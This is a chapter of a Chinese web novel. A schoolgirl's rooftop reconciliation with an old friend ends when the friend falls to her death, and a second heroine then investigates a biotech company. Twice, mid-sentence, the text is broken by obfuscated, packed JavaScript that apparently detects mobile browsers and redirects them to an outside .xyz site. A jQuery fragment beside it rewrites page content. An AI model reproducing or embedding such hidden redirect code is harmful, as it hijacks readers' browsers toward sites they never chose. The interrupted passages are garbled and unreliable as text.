这声斥责与有乐羽生往常轻声细语的说话方式截然相反,更像她的母亲说话的方式。有乐羽生并不喜欢被这样责骂,但她承认这是一种有效的逼问话术。 “不是你还能是谁?”有乐羽生质问,“你为什么要这样做?你是不是真的就是不想看见我过得开心?” 说到这里本来只是想让对方离自己远点的有乐羽生动了真气,她也不知为何自己此时突然真的想要一个答案了。她认为不该试图从一个普通人嘴里知道些什么,甚至于这个人是她确认过自己不需要的一个。 “我没有。”天生目白一字一句地盯着有乐羽生的眼睛说,哪怕因为害怕高空有些颤抖。 有乐羽生觉得她这幅模样像小时候了些。 “你想表达什么?你只挑自己想说的说?”有乐羽生气笑了,“承认不就好了?承认你就是我母亲安插在我身边的摄像头?” “不是这样的,我和有乐阿姨不是你想的那种关系。”天生目白面露挣扎,行动上也在挣扎,校服衣领空出一角,她肩上的家族纹身显露出来。 那是天生目家族的家族纹身,家族成员满16岁时就可以在长者的承认下获得拥有这个的资格。有乐羽生知道承认天生目白的人是自己母亲的好友天生目清源,心中因此而感到恼怒。 这个人有什么资格获得我母亲好友的承认呢?有乐羽生不可抑制地这样想。 “什么叫不是我想的?”有乐羽生把她再往外压了点,“劳烦你解释清楚些了,不是什么样?不是告密者?不是见了面就要凑上来问好的狗皮膏药?不是装模作样的学习者?” 天生目白看着眼前鲜少露出怒容的老朋友,表情中的的愤怒却反倒减少了些。 “…不,或许就是你想的那样吧。”天生目白喃喃自语,“那就把这件事告诉你吧,反正你迟早会知道的。” “什么?”有乐羽生疑问。 “你知道我从小父母去世,在看重血缘的天生目家不受重视。”天生目白冷静了下来。 “我知道,也知道你被天生目清原阿姨收养了,你这不是有你自己的家人吗能别老来找我母亲说话了吗。”有乐羽生说,她想起来了些以前的事情,语气平和了些。 “清原阿姨不会无缘无故收养一个会继承自己遗产的人,这件事是你的母亲,有乐阿姨帮忙从其中牵线的。”天生目白说。 有乐羽生听后大吃一惊,她知道自己的母亲话语权很强,但不理解她为何会帮助一个无亲无故的陌生孩子,难道是和天生目白那过世的父母有关? “和我父母无关,有乐阿姨和清原阿姨是朋友,但我明白有乐阿姨确实花了一番心思,甚至我们之前只见过一次面。所以当时我非常感激,但是非常惶恐,不知道怎么办。我问,她只说我的遭遇让她感到同情。”天生目白说起这里居然笑了,与她往常傲慢的行为截然相反。 一个在重视血缘关系的家族里长大,失去双亲的孩子,忽然就被一个没有血缘关系的人帮助了,原因却只是同情。同情只是一时的,但她的困难是会一直存在的,有乐羽生能想象到对方当时的不安。她又想起第一次见面时那个脸上有伤躲在别人后面的天生目白了,或许那就是她母亲有乐千奈与她的第一次见面。 “后来我才发现,那个宴会上遇到的孩子,居然就是有乐阿姨的亲生孩子。”天生目白看着有乐羽生说。 于是有乐羽生也想起了那次宴会,那是一个非常普通的,充斥着普通人的宴会,她甚至想不起来那次宴会的主题是什么了,就只记得她与天生目白第一次对视的一瞬间。以及关于“这个宴会无聊透顶”的对话。 现在看来,有乐羽生发觉自己觉得无聊是因为自己对那些事情不感兴趣,而天生目白觉得无聊是因为那些事情与她无关。 “我那时很担心害怕,我怕有乐阿姨哪天就对我失望从而收回她的帮助,我也很讨厌你,那个说着这里很无聊,但是却可以名正言顺地以参会者身份来到宴会的孩子。我觉得你什么也不用做,也不用担心受怕,就可以获得父母的帮助和爱。”天生目白说起这件事时像是在说别人的事,但有乐羽生却从她的神情里看出了曾经那个孩子。 但若是眼前人真的是曾经那个孩子的话,她为何能够如此直白地说出自己内心的想法呢?这一点让有乐羽生感到疑惑,以及挫败。她们二人若是一开始就并不是以朋友作为目标去相处的话,那反而就不会出现今天的事情了吧? 于是有乐羽生忽然就意识到,她们的关系大概从一开始就是布满裂缝的。因为那只是无心的,没能互相理解的,也不平等的对话产生的错误关系,那不是友谊。比起她们之间,或许有乐千奈与天生目白的关系反而更真实些吧。 “…那个时候你什么也没和我说。”有乐羽生沉默了一会说。 “我怎么可能和你说?我都说了那个时候我很讨厌你。”天生目白笑了,那是有乐羽生更加熟悉的,有些傲气的样子。 “可你还是和我交朋友了。”有乐羽生说。 “是的,我模仿了你的举动,那是一个正确的行动,我因此变得受欢迎了。但当时我既害怕你生气,又希望你真的生气,但你从小到大都是这幅样子。”天生目白说。 “我确实生气了,你看不出来而已。”有乐羽生说,“我生气你变了,我更喜欢你原来的样子。” “…是吗?”天生目白语气有些失落。 看着这样的天生目白,有乐羽生却认为她们依旧是没有成为朋友的可能的,即使天生目白是曾经那个说话直接的,会在钢琴房坐着看她弹琴的人,她们也不会是朋友的吧。因为毫无疑问的,有乐羽生不认为自己可以向天生目白展现真实的自己,就像是对方所做的那样。 “可是有乐阿姨看上去很满意,清原阿姨也很满意。”天生目白说,“我当时尝试把你的一些行为写在我定期写给有乐阿姨的信里,后来,那是我第一次收到回信。” 有乐羽生无法形容天生目白此时露出的神情,她怀念着过去,略微悲伤,眉目间看得见对所见之物的欣喜,嘴角却苦涩地下垂,逐渐走向夕阳时分的风配合地吹起她散开的头发,遮住了部分眉眼。 当时收到回信的那个孩子也是这幅表情吗?有乐羽生心想。 “对不起,这确实是很卑鄙的做法。”她说,“对不起啊。” 有乐羽生看不见她的眉眼,没有回应,却放开了压着她的手。 既然她道歉了,那就这样吧,有乐羽生这样想着,手却不自觉地握紧了。她不知道自己还在寻求什么,道歉已经足够让她在未来想起这件事时一笑了之了吧?那还有什么是不够的呢? 天生目白站直了,理了理领口,姿态又变回了优雅的样子。 “我不知道那些事情,也不理解你为什么要那么做。”有乐羽生真实地疑惑,“我知道你教训那些说话不好听的人了,你明知道我不可能感谢你吧?而你说这些话也不是想让我可怜你才对吧,我知道你不是需要我可怜的人。” “我知道,你在这一点上也是有够无聊的。”天生目白笑着说,“我当然知道。” 有乐羽生等待对方解释。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706133|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“就像我当时写给有乐阿姨的那封信一样,那不过是我自说自话的做法,是在自我感动,是在让我的内心好受一些,现在这些也是这样的。”天生目白说,“但是,我偶尔也在想,你会不会也给我回信。” 有乐羽生明白了对方在说什么。 “有乐,我很抱歉,我不知道那些做法会令你那样受伤。你说我不知道你在想什么,我怎么不知道?你肯定又是在什么都没想吧。” 有乐羽生发觉对方是正确的。 “我学着你的姿态时就明白了,你是讨厌这里的,我却觉得能这样下去的话那也不错。你一定很讨厌这样的我,这也是没有办法的事情。能逐渐理解你之后,我就也没那么讨厌你了。” 有乐羽生发觉,她可以理解天生目白。哪怕是隔了一层伪装,哪怕是虚假的表象,在对方的一言一句之中,有乐羽生认为对方没有在说谎。而与此同时,她发觉自己也逐渐变得能理解天生目白所做所为是为了什么,她想要修复这段友谊。 怎么可能呢?有乐羽生否定这种可能性,却又发觉,自己等待的或许就是这个微乎其微的可能性的实现。 因为此刻太阳西沉,天已经不再是纯粹的蓝的,她却依然觉得那是无比美丽的天空。 “但是开学后你就变了。”说到这里,天生目白本来还很笃定的语气变得疑惑又谨慎,“为什么呢?你要去哪了呢?你离不开日之森的,但我又害怕你真的离开这里,害怕你知道我做了什么,同时,我也希望你开心。” 我不可能告诉你的,有乐羽生在心中作答。因为她绝无可能向天生目白展现真实的自己,也就是她作为魔法少女的身份。天生目白只是一个普通人,在这个社会中普通地挣扎,注定没有可能和她一起飞向天空的。 那自我坦白这件事就没有了意义,说不定还会被对方利用吧。有乐羽生心想。 “你愿意相信我吗?”天生目白轻声问道,将主动权交给了有乐羽生。 这并不是有乐羽生可以直接回答的问题,因为若是让她选择,那她的选择必定是否。但与此同时,她有想要解释的东西。比如她不想要让这个人再次露出那副过于软弱的表情,比如说她认可天生目白所说的话,比如说,她偶尔会觉得一个人练琴很孤单。 “我都不知道你是一个这么胆小的人。”有乐羽生过了许久才开口说话。 “不过是顾忌的东西太多,但能力太弱小了而已,我才是高中生,以后还有很多机会成长的。”天生目白这样说,神情是不服气的。 是啊,有乐羽生心想,她又何尝不是这样呢。 天空逐渐染上红色,不是她最喜欢的,但她此时并没有感到无趣。 “那你以后会继续给我母亲写信吗?”有乐羽生笑着问。 “…会的。”天生目白认真地说,“但是我不会再写关于你的东西了。” “这样就好了。”有乐羽生叹了口气,然后天生目白也笑了。 就这样吧,有乐羽生心想,就这样就好,这家伙果然一直是这幅样子。 她伸出手,想说些什么,就在这一瞬间—— ——“砰” 这样一道并不巨大的爆炸声穿进了有乐羽生的听力中,是天台的门被打开了吗?有乐羽生惊异地这样想着迅速回头,确认天台入口周围的情况。 她的后方空无一人。 “啊。”她身后的天生目白这样叫了一声。 有乐羽生再次将身体转了回来—— ——却只看见天生目白向后,也就是向栏杆外飞出去的身影。 等到她反应过来想上前做些什么的时候,天生目白的整个身体已经跌出了栏杆外。 有乐羽生伸出手,却抓住了空气,她张开翅膀,却没能飞起来。 无人接住天生目白,她朝地面坠落而去。 这是什么?有乐羽生无法思考,她趴在栏杆上,只能看见那个象征着什么的点离自己越来越远,离地面越来越近。她看见了天生目白的眼睛,那是充斥着因忽然失重而不知道发什么了的惊慌的眼神,有乐羽生认为对方看见了她,也看见了她的翅膀。 也这样问:为什么你没能说出相信我,也没能飞来救我? 我能救她吗?有乐羽生疑惑,但这次,时间没有等她。 原因有许多,结果只有一个。过了几秒,或者说十几年,比方才那声爆炸声大很多,但也没有那么大的,另一声“砰”出现了。 现在已经是放学过后很久了,教学楼前没有人在,但很快这个声音吸引了不远处的人,紧接着是脚步声,尖叫,呼救声,一一传到有乐羽生的耳朵里。 为什么?有乐羽生无力地跌坐在天台的地面上,冰冷而坚硬的感受传来,她如梦初醒,方才意识到发生了什么。 天生目白,从她的身前,掉下去了。 那是一个普通人,既没有魔力也没有翅膀,她从哪里掉下去的结果只有一个,那就是死。那绝不是温柔的,合理的死,是绝对与天台上的其它人有关的一场谋杀。 就这样任凭思绪空白了一会,看着天空的有乐羽生听见了楼梯处有脚步声传来。 于是她突然反应过来,如果被那群人发现本来锁着的天台门锁突然消失,并且刚刚有人掉下来的地方旁边有人站着,那么那个人只有一个身份可言—— ——凶手。 有乐羽生迅速地将门锁放进折叠空间内,使用空间移动瞬移到更衣室,临走前看向镜子,镜子里的那个人衣衫整齐体态优雅,带着温和礼貌的微笑。 “呕。”有乐羽生突然开始干呕,平复了一会后她离开了更衣室,如同往常一般与周围的人打招呼,似乎什么也不知道,拿着书包坐上回家的车。 她看向车外,天空是血一般的红,有警车呼啸而过与她背道而驰。 而本如往常一般盯着天空看的有乐羽生身体忽然开始止不住地颤抖,她想要大口呼吸,却怕被司机发现不对劲。 到了家后,她如往常一般换衣服,吃晚饭,面对父母时,也同往常一般温和有礼。 “那个天生目家的孩子最近还有给你写信吗?”饭后,离开餐厅的有乐羽生听见一楼的父母聊起话题,一瞬间如同被钉住一般站在门口一动不动。 “这个月还没有,那孩子最近应该也帮了羽生不少忙吧。” 有乐羽生回到了房间里。 与多年的老友敞开心扉聊天,冰释前嫌,回到家后偶然听到这个消息,释然地解开了一切误会,多么美好,多么令人开心。 为什么会这样呢? 有乐羽生背靠门板滑坐到地上,全身上下哪里都动不了。 21. Ⅴ 2024年4月18日,星期四,天气晴。 突发重大新闻,本地议员苍山景秀被调查出与非法化学实验相关,现已进行逮捕。同时,一份内部报告显示,一名港务局员工在一个月内出入受控仓库次数异常,疑似为某武装团体运输军火提供便利。警方未公布姓名,仅称“正密切追查幕后组织结构”。 今早,有市民举报宣称目击运送大量疑似裹尸袋的货运车在路边停靠,城市安全部门进行确认后判定此为虚假举报行为,监控录像中并不存在相关车辆。 上周夜间,中心港区突发交火事件,警方初步认定为白夜社内部在走私路线分配上的冲突。居民称听到至少8次爆炸声。该区域3年前就被建议“加强巡防”,但由于经费问题从未落实。 市私立女子学校日之森在昨日出现学生坠亡事件,现校董会已联系城市安全部门加入调查,市公立医院青少年心理卫生部门表示哀悼。 中心湖运河即将迎来鲑鱼季,城市生态保护部门将开始监管鱼梯区域。 日之森学校邮件紧急通知今日因校园安全设施维护问题停学一天。 早餐时有乐羽生被父母告知了天生目白在学校自杀的消息,一夜没睡的她甚至不需要演,那副苍白的脸色很明显地替她诉说了她该有的震惊和悲痛。 “你今天在家里自习,记得练习钢琴。”她的母亲脸色也不好看,但并没有多说什么。有乐羽生想到天生目白的死对她来说也有一定影响,或许昨晚她就已经收到消息了吧。 她不会再收到天生目白的信了,有乐羽生忽然想到这一点。 “是的。”有乐羽生低着头回到房间里去,她依旧感到身体无比沉重。不仅仅是心理上的原因,她夜晚一直醒着体力消耗也比往常多。 另一边,住在宿舍的犬山晓虽然因为昨日放学后就离开了校区,今天早上才因停学的通知准备去探查一下具体原因。虽然学校说了禁止任何人靠近学校,但宿舍离得近,她路过时还是看见了学校门口围着许多车辆,一些是私家车一些是警车,熙熙攘攘地堵在临时停车区域。 因为最近发生的野兽伤人事件,警察对于公共安全问题非常敏感,但直接用黄色封锁条将学校的大门围了起来这在犬山晓眼里还是有些超乎寻常了,外面还站着些非学校所属的安保人员。 难道学校里出现了相关事件的新受害者吗?犬山晓这样警觉地猜想着,径直走到学校门口,找了一处比较靠边的保安亭,准备与一位她熟悉的校门保安询问发生了什么。 “您好,请问是发生什么事了吗?”犬山晓问道。 “犬山同学?哎呀你赶紧回宿舍吧,学校里现在不让进去,食堂今天也不会开门了。如果你去街上吃饭的话记得注意安全啊。”保安对于这个每天早上很早去操场晨练的学生有印象。 “是那个吗?新闻上的那个野兽袭击事件?”犬山晓装作恍然大悟小声说。 “不是,不好和你说,这件事情真的太诡异了,到时候学校会发通知的。”保安回头看了一眼大门内的情况,这里无法直接看到案发现场,但她依旧心有余悸。“不过我看到有校董会那边的人来,不出意外明天就会恢复正常了,学校里是安全的。” “这样啊,辛苦您了。”犬山晓点点头离开了。 离开不久后,她听见那保安喃喃自语说着什么,“明明不可能进去的,锁都不见了,怎么可能呢?” 如果是野兽伤人事件那明天学校肯定不会开学,保安这幅模样明显是看到了第一案发现场的,那么就是有受害人了,难道受害人是学生会的人所以校董会反应才这么大?犬山晓这样猜测着找了个角落,施展隐身魔法再次进入学校。 校园内展现出了与往常并不相同的忙碌气息,主干道上不仅有明显是警察的人在严肃交流着,也有一些身着正装的不明人士,犬山晓还看到了校长和入学仪式上出现过的校董会成员。 “这件事必须得给个交代,现在的调查结果也太牵强了,那位不会接受的。”有一些警察在私下谈话,犬山晓在树上偷听着,她认不出那些警察身上的制服所代表的职位。 “是啊,那个学生完全没有自杀的理由吧。”另一人面色相当疑惑。 自杀?犬山晓有些意外,高中生因压力自杀是现代社会老生常谈的话题了,她也有所了解,但日之森一直没什么类似的事情发生。 “不过当时那么多人赶到上面不是也说什么都没有吗?”一个较为年轻的警察提出。 上面?犬山晓抬头,发现教学楼最西边的那个玻璃上反射着日光的全透明上下楼梯区域上方确实有些人站着,同时那一块本来大概是天台的空旷区域也被围了起来。 “所以才说必须给个交代。”一开始的那个警察严肃地说。 “也是,那个学生家里不是?”另一个警察面色不好看。 果然是学生会的成员吗?犬山晓想不出其中的谁会自杀,不过既然与魔物无关,她便打算随便看两眼就离开了,不准备跑上去确认什么现场。 “不要在这里聊天了,”一位看上去颇有资历的中年警察走了过来,严肃训斥说,“清理队的人过来了,你们去对接。” “是!” 离开前,犬山晓跟在三人身后远远地看了一眼教学楼西侧外侧,那下方围着一群人,但人群与人群之间隔得很远,且大多没有去看被围着的区域内部只是聚在一起聊天。值得注意的是其中一个人的银白色头发的外貌特征令她感到非常眼熟,不一会她反应过来,那大概是有乐羽生的母亲,她也是日之森校董会的一员。 那人身上挂着件深色披风,风没有吹起她的衣角,她没有理会身边那些尝试与她说些什么的人,静静地看着地面。犬山晓不知道她在想些什么,她对于这位同伴家长的印象还停留在“对孩子态度过于严厉的大人”这一点。 犬山晓也往人群内部的地面上看去,那地面上用一些标志牌子摆出了大概原来是尸体的地方,那个轮廓完全看不出是人体,地上没什么值得注意的东西,但血液的痕迹触目惊心,连一旁的绿化带上都被放了一些牌子。 跳楼自杀吗?犬山晓皱眉,转身离开了。 而她跟着的那三人在离开了人群能听见的范围内就开始继续聊天了,犬山晓随意地听着,但很快注意到了关键的点。 “说起来明明是那种家庭背景的孩子,为什么我们必须这么重视呢?”那新手警察提出这一点。 “你傻呀,”另一人说,“天生目池元这么多年来交的税就是我们的工资啊,而且不是说那边要开展新的慈善捐款了吗?我们得好好干活知道吗?” 天生目?自杀者是天生目白?犬山晓这下是真的惊讶了,她之前觉得这个同学很别扭而且有隐形的暴力倾向,但怎么都不像是会自杀的人,不如说她的求生欲比学校里的大多数人都要多,高傲的同时也并不隐藏自己的野心。 哪一天天生目白不想再装作合群,在校内揭竿而起靠暴力手段上位学生会会长她都不会意外,但她跳楼自杀是真的很出乎犬山晓意料的事情。 “我的工资又不高。”新手警察面色沮丧。 “好了,别说了,我们不能讨论这件事的,”另一人说,“至少在这里不能讨论。” 三人与校外带着黄色小车和专业设备的队伍聊了起来,那些人应该是来清理教学楼前的区域的,犬山晓怀疑明天到底能不能开学。 带着些许疑惑,犬山晓离开了校区,她准备去找地方吃饭,随后找克拉拉询问关于市区内关于特殊实验室的情报。她尝试过自行在市区以及更广泛的范围内搜寻相关的可疑目标,但很明显那位针对她们的人也知道会有这样的情况,在隐藏工作方面做的相当不错。 “来了?”克拉拉对于犬山晓在这个时间拜访自己并不感到多么意外,她一如既往地穿着实验人员的白大褂垂着脑袋看电脑屏幕,眼镜遮去了她大半面孔。 下午午餐时间过去不久,犬山晓带着一袋子酒走进了克拉拉的实验室大门。金属门滑动,刺目白光与消毒水的气息一起扑面而来,随后才是异于微凉室外气温的森然冷气。 “有些事情想问你。”犬山晓言简意赅地把塑料袋递给对方,里面装着的酒加起来价值比她一年的学费都要多。她也不太理解克拉拉喜欢什么,但收到这种酒时对方的反应是开心的。 她们相处的时间不算短了,但克拉拉向来不喜欢透露自己的个人喜好,也一直端着作为监护人的身份与犬山晓隔着些距离。 “哎呀,这么客气呀小犬山,知道孝敬家长了?”克拉拉从椅子上把本来盘着的腿放下,喜出望外地抱着塑料袋放进了一旁的冷柜,与内容不明的其它罐子紧挨着。 看见对方表情似乎是满意的,犬山晓心里松了口气。 “是想问关于你们学校里面那件事?”克拉拉从桌子底下扯出来把椅子意思犬山晓坐。 “你的消息倒是灵通。”犬山晓说着,也没有多意外,“刚才我确实看见校区外面好多校外的警察,校内也很多校外的人。” “毕竟昨晚就热闹起来了,这件事说大不大说小不小。我对那边的事情不算了解,但如果是大事的话我就不会有这么快得到消息的可能了。这样看来,主要就看警察校董会那边能不能给个合理的解释,”克拉拉说着,提起来另一件事,“不过说起来天生目家和你也有点关系。” “我?”犬山晓疑惑着,紧张了起来。 “你的名字,”克拉拉说,“你这个身份捡的是天生目家主要势力的合伙人家族的姓,不过确实那是个边缘人物就是了。” 犬山晓这才明白为何当时天生目白专门挑着自己威胁,原来是看上了名字。 “…事到如今改姓氏就显得更奇怪了吧。”犬山晓叹了口气,“就这样吧,这个姓氏应该也没那么罕见?” “那我就不感兴趣了,你要是准备改姓的话记得提前通知我这个监护人一下。”克拉拉神色无所谓地转过头去。 犬山晓眼里克拉拉一直是一个待在实验室里闭门不出的研究人员,虽然偶尔和一些很奇怪的人有所交流,但本人并不是一个会主动惹是生非的存在。所以克拉拉对这件事不感兴趣是正常现象。 “这样吗?不过我也不是来找你问学校里发生的这件事的的。”犬山晓不再谈这件事。 克拉拉意外地再次转头看向她,听她解释自己的来意。犬山晓根据森山寺未央的总结描述了一下可疑目标特点。 “市区内,规模巨大,涉及人体实验并且有一定时间了的组织?”克拉拉杂乱额发下的眉头皱起,“很可疑啊小犬山,你不好好上学问这件事做什么?” “看在酒的面子上别问了,”犬山晓补充说,“哦对了还有,这个实验室最近应该丢了个实验品在找。” 听完后,克拉拉没有第一时间回应,只是盯着犬山晓看,似乎在回忆,又像是在思考,她戴着手套的右手食指在下巴不断地摩擦,犬山晓知道这是她烟瘾犯了的表现。 多年前克拉拉还是个烟酒都来的人,甚至不避讳在实验室的消毒区里抽烟,虽然犬山晓没见过对方的私人住处但也能想象到并不是什么干净整洁的地方。克拉拉本人倒是对副作用完全不在意,但犬山晓却非常在意二手烟问题,在谈了很久之后克拉拉勉为其难地戒掉了。 不过她本来的烟瘾也并不大,戒的速度非常快。 “无聊抽一下烟体验一下而已,我的脑子还不至于被这种东西影响。”当时克拉拉笑嘻嘻地说,当时的犬山晓还因为这件事觉得对方很厉害。 “确实有这么一个存在。”克拉拉过了一会开口说,“组织结构完全符合你说的一切特征,而且我还算是熟悉。” “谁?”犬山晓急切地追问。 “你知道目标后想要做什么?而且就目前来看,你根本没有合理的理由提出这些疑问吧。”克拉拉眼神里带着审视,“那不是个提供职业参观活动的地方啊小犬山。” 犬山晓被看得一惊,心想这个会喊小孩子试药并且当面抽烟的家伙怕不是也参与其中? “酒的面子不管用了吗?”犬山晓没有直接说,她有些犹豫。 克拉拉又不说话了,她抱臂不言不语,眼镜后方森绿的瞳孔注视着什么,思考着什么,白炽灯亮光晃眼,实验室里一时安静地让犬山晓感到毛骨悚然。 “…管用。”最后她这样说,又狠狠叹了口气,“好吧好吧,也不是不能告诉你。” 犬山晓看向对方。 “Evolution生物基因科技有限公司,”克拉拉说了个有些耳熟的名字,“大企业,核心部门之前我记得是家族制的,所以没人质疑过那位继承者的年龄和在任时间。不过现在CEO也该顺应现代化的劝诫改为扁平化管理了才对,不然医疗和器械部门也开不到别的国家去了。” 犬山晓想起来了那个接受大量器官的公司。 “那确实是很巨大的目标了。”犬山晓点头记下了这个名字,心里有了目标。 “不仅占地面积很巨大,各方面影响也很大,而且不会因为你还在上学就给你开未成年人保护模式。”克拉拉看犬山晓毫无动摇之心,语气里带上了警告,“而且既然我默认了人体实验的存在,你就该理解到我是在说她们持有非法武装手段。” “那确实很麻烦了。”犬山晓点点头。 “我偶尔帮那边提供一些结果,卖些东西,不代表我就真的很了解,但就我了解的那些,就不是普通人能对付得了的。”克拉拉说,“哪怕是天生目家族势力也不行。” “那是很厉害了。”犬山晓恍然大悟道,“天生目家还上过新闻来着。” “…我待在这个破地方有我自己的理由,小犬山,我没办法什么都帮你的。”克拉拉说话声音有些低,“我确实是你的监护人,但也仅此而已,知道吗?” “别担心,克拉拉,我只是随便问问。”犬山晓点了点头,得到了答案便准备离开了。 “我知道其生物部门实验品丢失的记录,它足够危险,但仅仅是一个失败品,一个弃子,”克拉拉忍不住站起来说,“别牵连到我,别去送死。” “不会的,放心吧。”犬山晓无奈地说。 “你要做的事情,”克拉拉看着对方离开的背影说,“不能和我说吗。” 那声音有点轻,犬山晓回头看向克拉拉,对方只是站在实验室里没有动。二人合作多年,虽然各自怀揣着秘密不愿告诉彼此,但也未曾明面上探究对方。 在犬山晓的眼里,克拉拉是一个成熟的,有自己的考量和目标的大人,还是她的监护人,她不该管对方太多的。而克拉拉对她的不细究本质上或许是因为不感兴趣,犬山晓认为自己除了能不间断地提供器官以外并没有什么特别之处。 这是她第一次直接问我吧,犬山晓心想,又觉得对方只是在叙述陈述句。她意识到自己大概永远不会有能追上克拉拉思考速度的那一天吧,而克拉拉大概也是不想被追上或者停下来等等谁的。那么,就用字面意思去理解,然后回答就好了。 “有机会的话,我会全部告诉你的。”犬山晓只能这样说,随后道别,“下次再见。” 合金大门稳定地运行关闭,将整个实验室的一切信息和声音都与世界隔离开,克拉拉盯着门看了很久,才转身,看向需要密码才能进入的医疗实验区,里面放着的一台改造过的医疗舱。 “小孩子就是麻烦。”克拉拉再次叹了口气,回到自己之前的工作之中。 时间还早,虽然犬山晓有意尽快调查就在西部市区区域内的Evo公司的园区建筑物,但也打算等里面的大部分工作人员都离开了再说,她决定现在先从对方的表明信息开始调查,也就是官方网站和相关新闻。 既然克拉拉说了她默认其中存在人体实验,那么犬山晓心中决定即使对方的人体实验不涉及魔物,她也会出手干涉并销毁其中所有内容。但这件事她不准备与同伴诉说,因为她认为这只是她个人的决定与想法,而且除了艾克里普以外的两位同伴还无法忽视武装人员的威胁,告诉她们后只会让她们担心并忧虑。 先看看官网吧,犬山晓回到宿舍内打开电脑,她不太擅长电脑科学,但查找信息并不难。 “EVO——基因科技,重塑未来”: 想必就是这个了,犬山晓点进链接,一个被精心设计过的官方网站随着动画被展开。 网页整体是充满科技感的明亮低饱和度蓝色,入目的先是网页最上方的企业愿景,“进化,并拥抱更美好的未来,用生物科技守护生命。”犬山晓看着只觉得宽泛而不知所云,空旷得就和小孩子诉说的梦想一样。 下方有各个可以点进去的介绍,附带真实拍摄的插图,分区众多,包括但不限于癌症治疗研发,再生医学,军事医学支持,罕见病治疗,公益医疗。 网站中还放着当前的CEO过去的个人采访视频:“医学是科学,但科学不应停滞,我们的责任是引领进化。” 视频中的主角以舒适优雅的姿势端坐在被大量热带绿叶植株围绕的单人沙发中,日光透过几层玻璃的筛选后有序而均匀地为她提亮画面,提醒那棕黑的长发尾端有些发蓝。下方信息栏里写着她的名字:湛。 这位坐拥近万人经济大权的CEO相当自信地面对摄像头开口,左眼上覆盖的黑色几何无序设计感眼罩也无法掩盖她谈吐间溢出音响的自得风度。 采访视频时间标注是10年前,画质依然清晰,视频中这位脸上没有多少岁月痕迹的青年人到了现在也改变了许多吧,犬山晓这样猜想。 “当世界害怕未知时,我们选择直面它,并让它成为可掌控的力量,人类的极限,只不过是我们愿意拓展边界的程度。”她这样微笑着说,背景音乐也激昂了起来,犬山晓暂停视频往下滑,有一些相关新闻,与视频相反,这些的日期就在最近。 【最新突破】全球首款抗衰老基因疗法进入临床试验阶段 【医疗公益】合作慈善医院新增两座儿童病房,支持本地低收入家庭 【科技前沿】EVO研发新型纳米治疗,或将彻底改变癌症治疗方式 怎么看都非常完善啊,犬山晓不明所以地想,那位名叫湛的CEO也是一副成功人士的模样,不像是会发起恐怖袭击的人。不过要以貌取人的话那校董会的那些人大概都是做慈善的了,犬山晓摁下了自己心里的想法。 点进“关于我们”,这里一般放着公司的自述。 “生物科技,重塑未来。” EVOLUTION GEN-Biotech是一家全球领先的生物基因工程与医疗科技企业,专注于基因编辑、再生医学、抗衰老研究及高端医疗设备的开发。 自1927年创立以来,EVO经历近两百年的技术积累与突破性研究,从最初的家族医疗机构发展成为如今覆盖医药、基因工程、军用医疗、临床试验等多个领域的跨国科技集团。我们拥有顶尖科学家团队、世界级研发实验室,并与各大医疗机构、政府健康部门、军方医疗单位保持长期合作,共同推动人类医疗与生物科技的革新。 看到这里的犬山晓突然想到,如果自己没有遇到这件事,正常地努力精进学业,未来或许也有可能希望进入这样的公司工作,毕竟它的包装实在是非常吸引人。但很快她就不再想这方面的事情了。 再往下看,是全球影响力: 现已覆盖全球50多个国家,拥有超100个合作医疗机构,致力于推动未来医疗科技发展,与全球知名高校实验室建立长期合作,共享前沿医学突破技术。 确实满足调查目标的一定条件,但公司内部平时正常运营,想瞒着普通员工的情况下在公司内部进行实验显然很难,做实验的是人类,应该总会有谁透露出一些消息。 犬山晓想起克拉拉欲言又止的样子,觉得这公司光鲜亮丽的外表下一定隐藏着什么。进行实验并且发动袭击的是一个人?一部分人?还是说只是谁的擅自行动?这些很难搞清楚,但好在她只需要确认“公司内部是否有相关的魔法痕迹或者实验痕迹”就可以结束调查了。 但反过来也一样,若是找到了相关证据,即使其目标指向的是那位视频中的CEO,她们也不会改变将对方找出来打一顿的决定。 Evo的公司园区就在市中心偏北很显眼的位置,旁边就是供游客坐电梯上去参观整座城市景色的瞭望塔,顶端有观光台,总高度比Evo最高的那栋楼高一两层。偶尔犬山晓晚上路过会发现那些石墙和灌木丛围绕的Evo园区内,无论是什么功能的建筑内部全天都亮着灯,她也不知道是单纯的不关灯还是员工一直没有下班。 以及,那其中的部分不明黑色雕像外表是犬山晓每次路过都能感到疑惑的设计,与其相比,不远处的市政府办公建筑简直朴实无华地令她感到安心。 犬山晓将自己得到的信息发到几人的聊天群里。 “以上,我今晚准备去Evo公司园区内调查看看。”犬山晓紧张地等待同伴的消息。 “居然是晓的监护人给出的消息吗?好靠谱的大人啊!而且这家生物公司很有名,我上网找找看有没有什么有用的信息,晚上我也去!”森山寺未央回复地非常快。 过了一会,艾克里普回复了消息。 “我今晚会来支援大家的,我们一起行动吧。”艾克里普打字非常慢而且不怎么看手机,大家都习惯了,她如果有急事会给大家打电话的。 不过有乐羽生一直没有回复消息。 犬山晓想到白天的事情以及她的母亲也出现在了学校里,不由得有些担心。 “说起来今天学校停课总感觉很匆忙啊,维护安全设施为什么要挑工作日啦。晓住在宿舍的话有听说什么吗?”森山寺未央问。 “我早上看发现校区周围很多人围着,也不让进去。”犬山晓担心有乐羽生被影响,打算先按住不提,若是晚上有乐羽生会出现并一起行动就没事了,但若是没有出现,那她认为便需要与大家一起讨论一下这件事。 森山寺未央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 